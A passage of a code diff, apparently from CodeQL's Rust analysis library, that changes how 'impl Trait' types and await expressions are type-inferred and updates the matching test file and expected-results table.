stdOrCore.getName() = ["std", "core"] and mod = stdOrCore.getSourceFile() and prelude = mod.getASuccessorRec("prelude") and @@ -1473,12 +1510,10 @@ private predicate preludeEdge(SourceFile f, string name, ItemNode i) { ) } -private import codeql.rust.frameworks.stdlib.Bultins as Builtins - pragma[nomagic] private predicate builtin(string name, ItemNode i) { - exists(SourceFileItemNode builtins | - builtins.getFile().getParentContainer() instanceof Builtins::BuiltinsFolder and + exists(BuiltinSourceFile builtins | + builtins.getFile().getBaseName() = "types.rs" and i = builtins.getASuccessorRec(name) ) } diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index 7661b3ea279..a751fd0d1a0 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -15,14 +15,11 @@ newtype TType = TTrait(Trait t) or TArrayType() or // todo: add size? TRefType() or // todo: add mut? - TImplTraitType(int bounds) { - bounds = any(ImplTraitTypeRepr impl).getTypeBoundList().getNumberOfBounds() - } or + TImplTraitType(ImplTraitTypeRepr impl) or TTypeParamTypeParameter(TypeParam t) or TAssociatedTypeTypeParameter(TypeAlias t) { any(TraitItemNode trait).getAnAssocItem() = t } or TRefTypeParameter() or - TSelfTypeParameter(Trait t) or - TImplTraitTypeParameter(ImplTraitType t, int i) { i in [0 .. t.getNumberOfBounds() - 1] } + TSelfTypeParameter(Trait t) /** * A type without type arguments. @@ -184,30 +181,50 @@ class RefType extends Type, TRefType { } /** - * An [`impl Trait`][1] type. + * An [impl Trait][1] type. * - * We represent `impl Trait` types as generic types with as many type parameters - * as there are bounds. + * Each syntactic `impl Trait` type gives rise to its own type, even if + * two `impl Trait` types have the same bounds. * - * [1] https://doc.rust-lang.org/book/ch10-02-traits.html#traits-as-parameters + * [1]: https://doc.rust-lang.org/reference/types/impl-trait.html */ class ImplTraitType extends Type, TImplTraitType { - private int bounds; + ImplTraitTypeRepr impl; - ImplTraitType() { this = TImplTraitType(bounds) } + ImplTraitType() { this = TImplTraitType(impl) } - /** Gets the number of bounds of this `impl Trait` type. */ - int getNumberOfBounds() { result = bounds } + /** Gets the underlying AST node. */ + ImplTraitTypeRepr getImplTraitTypeRepr() { result = impl } + + /** Gets the function that this `impl Trait` belongs to. */ + abstract Function getFunction(); override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } - override TypeParameter getTypeParameter(int i) { result = TImplTraitTypeParameter(this, i) } + override TypeParameter getTypeParameter(int i) { none() } - override string toString() { result = "impl Trait ..." } + override string toString() { result = impl.toString() } - override Location getLocation() { result instanceof EmptyLocation } + override Location getLocation() { result = impl.getLocation() } +} + +/** + * An [impl Trait in return position][1] type, for example: + * + * ```rust + * fn foo() -> impl Trait + * ``` + * + * [1]: https://doc.rust-lang.org/reference/types/impl-trait.html#r-type.impl-trait.return + */ +class ImplTraitReturnType extends ImplTraitType { + private Function function; + + ImplTraitReturnType() { impl = function.getRetType().getTypeRepr() } + + override Function getFunction() { result = function } } /** A type parameter. */ @@ -219,7 +236,7 @@ abstract class TypeParameter extends Type { override TypeParameter getTypeParameter(int i) { none() } } -private class RawTypeParameter = @type_param or @trait or @type_alias; +private class RawTypeParameter = @type_param or @trait or @type_alias or @impl_trait_type_repr; private predicate id(RawTypeParameter x, RawTypeParameter y) { x = y } @@ -316,23 +333,34 @@ class SelfTypeParameter extends TypeParameter, TSelfTypeParameter { } /** - * An `impl Trait` type parameter. + * An [impl Trait in argument position][1] type, for example: + * + * ```rust + * fn foo(arg: impl Trait) + * ``` + * + * Such types are syntactic sugar for type parameters, that is + * + * ```rust + * fn foo(arg: T) + * ``` + * + * so we model them as type parameters. + * + * [1]: https://doc.rust-lang.org/reference/types/impl-trait.html#r-type.impl-trait.param */ -class ImplTraitTypeParameter extends TypeParameter, TImplTraitTypeParameter { - private ImplTraitType implTraitType; - private int i; +class ImplTraitTypeTypeParameter extends ImplTraitType, TypeParameter { + private Function function; - ImplTraitTypeParameter() { this = TImplTraitTypeParameter(implTraitType, i) } + ImplTraitTypeTypeParameter() { impl = function.getParamList().getAParam().getTypeRepr() } - /** Gets the `impl Trait` type that this parameter belongs to. */ - ImplTraitType getImplTraitType() { result = implTraitType } + override Function getFunction() { result = function } - /** Gets the index of this type parameter. */ - int getIndex() { result = i } + override StructField getStructField(string name) { none() } - override string toString() { result = "impl Trait<" + i.toString() + ">" } + override TupleField getTupleField(int i) { none() } - override Location getLocation() { result instanceof EmptyLocation } + override TypeParameter getTypeParameter(int i) { none() } } /** @@ -370,3 +398,7 @@ final class SelfTypeBoundTypeAbstraction extends TypeAbstraction, Name { override TypeParamTypeParameter getATypeParameter() { none() } } + +final class ImplTraitTypeReprAbstraction extends TypeAbstraction, ImplTraitTypeRepr { + override TypeParamTypeParameter getATypeParameter() { none() } +} diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index c030cca4433..ad9f7785e01 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -77,16 +77,6 @@ private module Input1 implements InputSig1 { apos.asMethodTypeArgumentPosition() = ppos.asTypeParam().getPosition() } - private int getImplTraitTypeParameterId(ImplTraitTypeParameter tp) { - tp = - rank[result](ImplTraitTypeParameter tp0, int bounds, int i | - bounds = tp0.getImplTraitType().getNumberOfBounds() and - i = tp0.getIndex() - | - tp0 order by bounds, i - ) - } - int getTypeParameterId(TypeParameter tp) { tp = rank[result](TypeParameter tp0, int kind, int id | @@ -98,11 +88,9 @@ private module Input1 implements InputSig1 { exists(AstNode node | id = idOfTypeParameterAstNode(node) | node = tp0.(TypeParamTypeParameter).getTypeParam() or node = tp0.(AssociatedTypeTypeParameter).getTypeAlias() or - node = tp0.(SelfTypeParameter).getTrait() + node = tp0.(SelfTypeParameter).getTrait() or + node = tp0.(ImplTraitTypeTypeParameter).getImplTraitTypeRepr() ) - or - kind = 2 and - id = getImplTraitTypeParameterId(tp0) | tp0 order by kind, id ) @@ -124,12 +112,22 @@ private module Input2 implements InputSig2 { class TypeMention = TM::TypeMention; - TypeMention getABaseTypeMention(Type t) { none() } + TypeMention getABaseTypeMention(Type t) { + result = + t.(ImplTraitReturnType).getImplTraitTypeRepr().getTypeBoundList().getABound().getTypeRepr() + } TypeMention getATypeParameterConstraint(TypeParameter tp) { result = tp.(TypeParamTypeParameter).getTypeParam().getTypeBoundList().getABound().getTypeRepr() or result = tp.(SelfTypeParameter).getTrait() + or + result = + tp.(ImplTraitTypeTypeParameter) + .getImplTraitTypeRepr() + .getTypeBoundList() + .getABound() + .getTypeRepr() } /** @@ -169,6 +167,12 @@ private module Input2 implements InputSig2 { condition = self and constraint = self.getTrait() ) + or + exists(ImplTraitTypeRepr impl | + abs = impl and + condition = impl and + constraint = impl.getTypeBoundList().getABound().getTypeRepr() + ) } } @@ -241,12 +245,6 @@ private predicate typeEquality(AstNode n1, TypePath prefix1, AstNode n2, TypePat or n1 = n2.(ParenExpr).getExpr() or - n2 = - any(BlockExpr be | - not be.isAsync() and - n1 = be.getStmtList().getTailExpr() - ) - or n1 = n2.(IfExpr).getABranch() or n1 = n2.(MatchExpr).getAnArm().getExpr() @@ -265,6 +263,19 @@ private predicate typeEquality(AstNode n1, TypePath prefix1, AstNode n2, TypePat n1 = n2.(DerefExpr).getExpr() and prefix1 = TypePath::singleton(TRefTypeParameter()) and prefix2.isEmpty() + or + exists(BlockExpr be | + n1 = be and + n2 = be.getStmtList().getTailExpr() and + if be.isAsync() + then + prefix1 = TypePath::singleton(getFutureOutputTypeParameter()) and + prefix2.isEmpty() + else ( + prefix1.isEmpty() and + prefix2.isEmpty() + ) + ) } pragma[nomagic] @@ -580,6 +591,9 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { ppos.isImplicit() and result.(AssociatedTypeTypeParameter).getTrait() = trait ) + or + ppos.isImplicit() and + this = result.(ImplTraitTypeTypeParameter).getFunction() } override Type getParameterType(DeclarationPosition dpos, TypePath path) { @@ -599,9 +613,22 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { ) } - override Type getReturnType(TypePath path) { + private Type resolveRetType(TypePath path) { result = this.getRetType().getTypeRepr().(TypeMention).resolveTypeAt(path) } + + override Type getReturnType(TypePath path) { + if this.isAsync() + then + path.isEmpty() and + result = getFutureTraitType() + or + exists(TypePath suffix | + result = this.resolveRetType(suffix) and + path = TypePath::cons(getFutureOutputTypeParameter(), suffix) + ) + else result = this.resolveRetType(path) + } } private predicate argPos(CallExprBase call, Expr e, int pos, boolean isMethodCall) { @@ -1027,26 +1054,110 @@ private StructType inferLiteralType(LiteralExpr le) { ) } +pragma[nomagic] +private TraitType getFutureTraitType() { result.getTrait() instanceof FutureTrait } + pragma[nomagic] private AssociatedTypeTypeParameter getFutureOutputTypeParameter() { result.getTypeAlias() = any(FutureTrait ft).getOutputType() } +/** + * A matching configuration for resolving types of `.await` expressions. + */ +private module AwaitExprMatchingInput implements MatchingInputSig { + private newtype TDeclarationPosition = + TSelfDeclarationPosition() or + TOutputPos() + + class DeclarationPosition extends TDeclarationPosition { + predicate isSelf() { this = TSelfDeclarationPosition() } + + predicate isOutput() { this = TOutputPos() } + + string toString() { + this.isSelf() and + result = "self" + or + this.isOutput() and + result = "(output)" + } + } + + private class BuiltinsAwaitFile extends File { + BuiltinsAwaitFile() { + this.getBaseName() = "await.rs" and + this.getParentContainer() instanceof Builtins::BuiltinsFolder + } + } + + class Declaration extends Function { + Declaration() { + this.getFile() instanceof BuiltinsAwaitFile and + this.getName().getText() = "await_type_matching" + } + + TypeParameter getTypeParameter(TypeParameterPosition ppos) { + typeParamMatchPosition(this.getGenericParamList().getATypeParam(), result, ppos) + } + + Type getDeclaredType(DeclarationPosition dpos, TypePath path) { + dpos.isSelf() and + result = this.getParamList().getParam(0).getTypeRepr().(TypeMention).resolveTypeAt(path) + or + dpos.isOutput() and + result = this.getRetType().getTypeRepr().(TypeMention).resolveTypeAt(path) + } + } + + class AccessPosition = DeclarationPosition; + + class Access extends AwaitExpr { + Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { none() } + + AstNode getNodeAt(AccessPosition apos) { + result = this.getExpr() and + apos.isSelf() + or + result = this and + apos.isOutput() + } + + Type getInferredType(AccessPosition apos, TypePath path) { + result = inferType(this.getNodeAt(apos), path) + } + + Declaration getTarget() { exists(this) and exists(result) } + } + + predicate accessDeclarationPositionMatch(AccessPosition apos, DeclarationPosition dpos) { + apos = dpos + } +} + pragma[nomagic] -private Type inferAwaitExprType(AwaitExpr ae, TypePath path) { - exists(TypePath exprPath | result = inferType(ae.getExpr(), exprPath) | - exprPath - .isCons(TImplTraitTypeParameter(_, _), - any(TypePath path0 | path0.isCons(getFutureOutputTypeParameter(), path))) - or - path = exprPath and - not ( - exprPath = TypePath::singleton(TImplTraitTypeParameter(_, _)) and - result.(TraitType).getTrait() instanceof FutureTrait - ) and - not exprPath - .isCons(TImplTraitTypeParameter(_, _), - any(TypePath path0 | path0.isCons(getFutureOutputTypeParameter(), _))) +private TraitType inferAsyncBlockExprRootType(AsyncBlockExpr abe) { + // `typeEquality` handles the non-root case + exists(abe) and + result = getFutureTraitType() +} + +private module AwaitExprMatching = Matching; + +pragma[nomagic] +private Type inferAwaitExprType(AstNode n, TypePath path) { + exists(AwaitExprMatchingInput::Access a, AwaitExprMatchingInput::AccessPosition apos | + n = a.getNodeAt(apos) and + result = AwaitExprMatching::inferAccessType(a, apos, path) + ) + or + // This case is needed for `async` functions and blocks, where we assign + // the type `Future` directly instead of `impl Future` + // + // TODO: It would be better if we could handle this in the shared library + exists(TypePath exprPath | + result = inferType(n.(AwaitExpr).getExpr(), exprPath) and + exprPath.isCons(getFutureOutputTypeParameter(), path) ) } @@ -1196,6 +1307,8 @@ private Function getTypeParameterMethod(TypeParameter tp, string name) { result = getMethodSuccessor(tp.(TypeParamTypeParameter).getTypeParam(), name) or result = getMethodSuccessor(tp.(SelfTypeParameter).getTrait(), name) + or + result = getMethodSuccessor(tp.(ImplTraitTypeTypeParameter).getImplTraitTypeRepr(), name) } /** Gets a method from an `impl` block that matches the method call `mc`. */ @@ -1208,8 +1321,8 @@ private Function getMethodFromImpl(MethodCall mc) { bindingset[trait, name] pragma[inline_late] -private Function getTraitMethod(TraitType trait, string name) { - result = getMethodSuccessor(trait.getTrait(), name) +private Function getTraitMethod(ImplTraitReturnType trait, string name) { + result = getMethodSuccessor(trait.getImplTraitTypeRepr(), name) } /** @@ -1225,9 +1338,7 @@ private Function inferMethodCallTarget(MethodCall mc) { result = getTypeParameterMethod(mc.getTypeAt(TypePath::nil()), mc.getMethodName()) or // The type of the receiver is an `impl Trait` type. - result = - getTraitMethod(mc.getTypeAt(TypePath::singleton(TImplTraitTypeParameter(_, _))), - mc.getMethodName()) + result = getTraitMethod(mc.getTypeAt(TypePath::nil()), mc.getMethodName()) } cached @@ -1404,6 +1515,9 @@ private module Cached { result = inferLiteralType(n) and path.isEmpty() or + result = inferAsyncBlockExprRootType(n) and + path.isEmpty() + or result = inferAwaitExprType(n, path) } } @@ -1421,7 +1535,7 @@ private module Debug { exists(string filepath, int startline, int startcolumn, int endline, int endcolumn | result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and filepath.matches("%/main.rs") and - startline = 1334 + startline = 1718 ) } diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index fab4c088b28..2773d76f955 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -191,13 +191,9 @@ class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { } class ImplTraitTypeReprMention extends TypeMention instanceof ImplTraitTypeRepr { - override TypeMention getTypeArgument(int i) { - result = super.getTypeBoundList().getBound(i).getTypeRepr() - } + override TypeMention getTypeArgument(int i) { none() } - override ImplTraitType resolveType() { - result.getNumberOfBounds() = super.getTypeBoundList().getNumberOfBounds() - } + override ImplTraitType resolveType() { result.getImplTraitTypeRepr() = this } } private TypeParameter pathGetTypeParameter(TypeAlias alias, int i) { diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 3ea87394cf2..ba1dcefe372 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1667,11 +1667,11 @@ mod async_ { f1().await.f(); // $ method=S1f f2().await.f(); // $ method=S1f f3().await.f(); // $ method=S1f - S2.await.f(); // $ MISSING: method=S1f + S2.await.f(); // $ method=S1f let b = async { S1 }; - b.await.f(); // $ MISSING: method=S1f + b.await.f(); // $ method=S1f } } @@ -1727,10 +1727,10 @@ mod impl_trait { x.f1(); // $ method=Trait1f1 x.f2(); // $ method=Trait2f2 let a = get_a_my_trait(); - let b = uses_my_trait1(a); // $ MISSING: type=b:S2 + let b = uses_my_trait1(a); // $ type=b:S2 let a = get_a_my_trait(); let c = uses_my_trait2(a); // $ type=c:S2 - let d = uses_my_trait2(S1); // $ MISSING: type=d:S2 + let d = uses_my_trait2(S1); // $ type=d:S2 } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index e561f8579d0..b70af3bcbeb 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -2377,12 +2377,12 @@ inferType | main.rs:1639:18:1639:21 | SelfParam | | main.rs:1636:5:1636:14 | S1 | | main.rs:1642:25:1644:5 | { ... } | | main.rs:1636:5:1636:14 | S1 | | main.rs:1643:9:1643:10 | S1 | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1646:41:1650:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1646:41:1650:5 | { ... } | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | -| main.rs:1646:41:1650:5 | { ... } | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1647:9:1649:9 | { ... } | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1647:9:1649:9 | { ... } | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | -| main.rs:1647:9:1649:9 | { ... } | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | +| main.rs:1646:41:1650:5 | { ... } | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1646:41:1650:5 | { ... } | | main.rs:1646:16:1646:39 | ImplTraitTypeRepr | +| main.rs:1646:41:1650:5 | { ... } | Output | main.rs:1636:5:1636:14 | S1 | +| main.rs:1647:9:1649:9 | { ... } | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1647:9:1649:9 | { ... } | | main.rs:1646:16:1646:39 | ImplTraitTypeRepr | +| main.rs:1647:9:1649:9 | { ... } | Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1648:13:1648:14 | S1 | | main.rs:1636:5:1636:14 | S1 | | main.rs:1657:17:1657:46 | SelfParam | | {EXTERNAL LOCATION} | Pin | | main.rs:1657:17:1657:46 | SelfParam | Ptr | file://:0:0:0:0 | & | @@ -2394,29 +2394,27 @@ inferType | main.rs:1658:13:1658:38 | ...::Ready(...) | | {EXTERNAL LOCATION} | Poll | | main.rs:1658:13:1658:38 | ...::Ready(...) | T | main.rs:1636:5:1636:14 | S1 | | main.rs:1658:36:1658:37 | S1 | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1662:41:1664:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | | main.rs:1662:41:1664:5 | { ... } | | main.rs:1652:5:1652:14 | S2 | -| main.rs:1662:41:1664:5 | { ... } | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | -| main.rs:1662:41:1664:5 | { ... } | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1663:9:1663:10 | S2 | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1662:41:1664:5 | { ... } | | main.rs:1662:16:1662:39 | ImplTraitTypeRepr | | main.rs:1663:9:1663:10 | S2 | | main.rs:1652:5:1652:14 | S2 | -| main.rs:1663:9:1663:10 | S2 | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | -| main.rs:1663:9:1663:10 | S2 | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1667:9:1667:12 | f1(...) | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1663:9:1663:10 | S2 | | main.rs:1662:16:1662:39 | ImplTraitTypeRepr | +| main.rs:1667:9:1667:12 | f1(...) | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1667:9:1667:12 | f1(...) | Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1667:9:1667:18 | await ... | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1668:9:1668:12 | f2(...) | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1668:9:1668:12 | f2(...) | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | -| main.rs:1668:9:1668:12 | f2(...) | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1668:9:1668:18 | await ... | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1668:9:1668:12 | f2(...) | | main.rs:1646:16:1646:39 | ImplTraitTypeRepr | | main.rs:1668:9:1668:18 | await ... | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1669:9:1669:12 | f3(...) | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1669:9:1669:12 | f3(...) | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | -| main.rs:1669:9:1669:12 | f3(...) | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1669:9:1669:18 | await ... | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1669:9:1669:12 | f3(...) | | main.rs:1662:16:1662:39 | ImplTraitTypeRepr | | main.rs:1669:9:1669:18 | await ... | | main.rs:1636:5:1636:14 | S1 | | main.rs:1670:9:1670:10 | S2 | | main.rs:1652:5:1652:14 | S2 | -| main.rs:1670:9:1670:16 | await S2 | | main.rs:1652:5:1652:14 | S2 | +| main.rs:1670:9:1670:16 | await S2 | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1671:13:1671:13 | b | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1671:13:1671:13 | b | Output | main.rs:1636:5:1636:14 | S1 | +| main.rs:1671:17:1673:9 | { ... } | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1671:17:1673:9 | { ... } | Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1672:13:1672:14 | S1 | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1674:9:1674:9 | b | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1674:9:1674:9 | b | Output | main.rs:1636:5:1636:14 | S1 | +| main.rs:1674:9:1674:15 | await b | | main.rs:1636:5:1636:14 | S1 | | main.rs:1684:15:1684:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1684:15:1684:19 | SelfParam | &T | main.rs:1683:5:1685:5 | Self [trait Trait1] | | main.rs:1688:15:1688:19 | SelfParam | | file://:0:0:0:0 | & | @@ -2425,77 +2423,48 @@ inferType | main.rs:1692:15:1692:19 | SelfParam | &T | main.rs:1680:5:1680:14 | S1 | | main.rs:1696:15:1696:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1696:15:1696:19 | SelfParam | &T | main.rs:1680:5:1680:14 | S1 | -| main.rs:1699:37:1701:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | | main.rs:1699:37:1701:5 | { ... } | | main.rs:1680:5:1680:14 | S1 | -| main.rs:1699:37:1701:5 | { ... } | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | -| main.rs:1699:37:1701:5 | { ... } | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | -| main.rs:1700:9:1700:10 | S1 | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1699:37:1701:5 | { ... } | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | | main.rs:1700:9:1700:10 | S1 | | main.rs:1680:5:1680:14 | S1 | -| main.rs:1700:9:1700:10 | S1 | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | -| main.rs:1700:9:1700:10 | S1 | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | +| main.rs:1700:9:1700:10 | S1 | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | | main.rs:1704:18:1704:22 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1704:18:1704:22 | SelfParam | &T | main.rs:1703:5:1705:5 | Self [trait MyTrait] | | main.rs:1708:18:1708:22 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1708:18:1708:22 | SelfParam | &T | main.rs:1680:5:1680:14 | S1 | | main.rs:1708:31:1710:9 | { ... } | | main.rs:1681:5:1681:14 | S2 | | main.rs:1709:13:1709:14 | S2 | | main.rs:1681:5:1681:14 | S2 | -| main.rs:1713:45:1715:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | | main.rs:1713:45:1715:5 | { ... } | | main.rs:1680:5:1680:14 | S1 | -| main.rs:1713:45:1715:5 | { ... } | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | -| main.rs:1713:45:1715:5 | { ... } | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | -| main.rs:1714:9:1714:10 | S1 | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1713:45:1715:5 | { ... } | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | | main.rs:1714:9:1714:10 | S1 | | main.rs:1680:5:1680:14 | S1 | -| main.rs:1714:9:1714:10 | S1 | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | -| main.rs:1714:9:1714:10 | S1 | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | +| main.rs:1714:9:1714:10 | S1 | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | | main.rs:1717:41:1717:41 | t | | main.rs:1717:26:1717:38 | B | | main.rs:1717:52:1719:5 | { ... } | | main.rs:1717:23:1717:23 | A | | main.rs:1718:9:1718:9 | t | | main.rs:1717:26:1717:38 | B | | main.rs:1718:9:1718:17 | t.get_a() | | main.rs:1717:23:1717:23 | A | -| main.rs:1721:26:1721:26 | t | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1721:26:1721:26 | t | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | -| main.rs:1721:26:1721:26 | t | impl Trait<0>.A | main.rs:1721:23:1721:23 | A | +| main.rs:1721:26:1721:26 | t | | main.rs:1721:29:1721:43 | ImplTraitTypeRepr | | main.rs:1721:51:1723:5 | { ... } | | main.rs:1721:23:1721:23 | A | -| main.rs:1722:9:1722:9 | t | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1722:9:1722:9 | t | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | -| main.rs:1722:9:1722:9 | t | impl Trait<0>.A | main.rs:1721:23:1721:23 | A | +| main.rs:1722:9:1722:9 | t | | main.rs:1721:29:1721:43 | ImplTraitTypeRepr | | main.rs:1722:9:1722:17 | t.get_a() | | main.rs:1721:23:1721:23 | A | -| main.rs:1726:13:1726:13 | x | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1726:13:1726:13 | x | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | -| main.rs:1726:13:1726:13 | x | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | -| main.rs:1726:17:1726:20 | f1(...) | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1726:17:1726:20 | f1(...) | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | -| main.rs:1726:17:1726:20 | f1(...) | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | -| main.rs:1727:9:1727:9 | x | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1727:9:1727:9 | x | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | -| main.rs:1727:9:1727:9 | x | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | -| main.rs:1728:9:1728:9 | x | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1728:9:1728:9 | x | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | -| main.rs:1728:9:1728:9 | x | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | -| main.rs:1729:13:1729:13 | a | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1729:13:1729:13 | a | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | -| main.rs:1729:13:1729:13 | a | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | -| main.rs:1729:17:1729:32 | get_a_my_trait(...) | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1729:17:1729:32 | get_a_my_trait(...) | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | -| main.rs:1729:17:1729:32 | get_a_my_trait(...) | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | -| main.rs:1730:32:1730:32 | a | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1730:32:1730:32 | a | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | -| main.rs:1730:32:1730:32 | a | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | -| main.rs:1731:13:1731:13 | a | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1731:13:1731:13 | a | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | -| main.rs:1731:13:1731:13 | a | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | -| main.rs:1731:17:1731:32 | get_a_my_trait(...) | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1731:17:1731:32 | get_a_my_trait(...) | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | -| main.rs:1731:17:1731:32 | get_a_my_trait(...) | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | +| main.rs:1726:13:1726:13 | x | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | +| main.rs:1726:17:1726:20 | f1(...) | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | +| main.rs:1727:9:1727:9 | x | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | +| main.rs:1728:9:1728:9 | x | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | +| main.rs:1729:13:1729:13 | a | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | +| main.rs:1729:17:1729:32 | get_a_my_trait(...) | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | +| main.rs:1730:13:1730:13 | b | | main.rs:1681:5:1681:14 | S2 | +| main.rs:1730:17:1730:33 | uses_my_trait1(...) | | main.rs:1681:5:1681:14 | S2 | +| main.rs:1730:32:1730:32 | a | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | +| main.rs:1731:13:1731:13 | a | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | +| main.rs:1731:17:1731:32 | get_a_my_trait(...) | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | | main.rs:1732:13:1732:13 | c | | main.rs:1681:5:1681:14 | S2 | | main.rs:1732:17:1732:33 | uses_my_trait2(...) | | main.rs:1681:5:1681:14 | S2 | -| main.rs:1732:32:1732:32 | a | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1732:32:1732:32 | a | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | -| main.rs:1732:32:1732:32 | a | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | -| main.rs:1733:32:1733:33 | S1 | | file://:0:0:0:0 | impl Trait ... | +| 